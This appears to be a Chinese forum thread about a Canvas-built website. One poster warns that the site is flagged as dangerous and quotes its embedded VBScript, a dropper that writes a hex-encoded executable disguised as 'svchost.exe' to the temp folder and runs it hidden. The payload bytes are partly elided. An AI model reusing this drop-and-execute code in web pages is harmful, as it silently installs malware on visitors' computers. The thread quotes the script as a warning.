这个网站是用Canvas写的， 你可以查一下Canvas编程。另外这个网站被FF报告为危险站点，使用IE访问请时慎重。
网站含有可疑VBS代码(我没有执行，不知道是干嘛的，有谁能在沙盒里测一下。。。)：

 <script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B8000000 ....... 0000000000000000000000000000000000000000000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></script>

居然还用到vb了。。。

html 5，你直接看网页源码就能看到怎么实现了

确实炫酷..
chrome F12->source 找到js(index.js)源码看就知道了啊 设断点调试看看
